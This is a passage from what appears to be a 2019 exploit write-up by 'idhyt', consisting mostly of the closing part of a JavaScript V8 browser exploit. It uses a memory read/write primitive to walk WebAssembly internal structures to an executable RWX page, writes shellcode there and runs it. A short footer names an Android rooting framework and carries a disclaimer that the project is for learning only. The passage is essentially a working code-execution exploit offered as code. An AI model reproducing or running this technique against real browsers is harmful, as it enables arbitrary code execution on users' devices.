        const WasmExportedFunctionData = unit32RW(SharedFunctionInfo-1 + wasmOff[1])
        if(WasmExportedFunctionData === 0) dlog.error('WasmExportedFunctionData = 0')
        dlog.success('WasmExportedFunctionData addr: 0x' + WasmExportedFunctionData.toString(16))

        const WasmInstanceObject = unit32RW(WasmExportedFunctionData-1 + wasmOff[2])
        if(WasmInstanceObject === 0) dlog.error('WasmInstanceObject = 0')
        dlog.success('WasmInstanceObject addr: 0x' + WasmInstanceObject.toString(16))

        let imported_function_targets = unit32RW(WasmInstanceObject-1 + wasmOff[3])
        if(imported_function_targets === 0) dlog.error('imported_function_targets = 0')
        dlog.success('imported_function_targets addr: 0x' + imported_function_targets.toString(16))
        /*
          if(true) {
          let rv = 0
          for(let i = 0; i < 0x10; i++) {
          rv = unit32RW(imported_function_targets + i * 4)
          dlog.debug('imported_function_targets + 0x' + (i*4).toString(16) + ': 0x' + rv.toString(16))
          }
          }
        */
        rwx_entry = unit32RW(imported_function_targets + wasmOff[4])
    }

    if(rwx_entry === 0) dlog.error('rwx_entry = 0')
    dlog.success('rwx_entry addr: 0x' + rwx_entry.toString(16))

    dlog.debug('write shellcode at rwx_entry memory: 0x' + rwx_entry.toString(16))
    let shellcode = funcUtils.getShellCode()
    unit32RW(rwx_entry, 2, shellcode)

    dlog.debug('dangerous to run shellcode...')
    f()
}

exploit()


Author: idhyt

Created: 2019-03-02 Thu 15:11

Validate

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...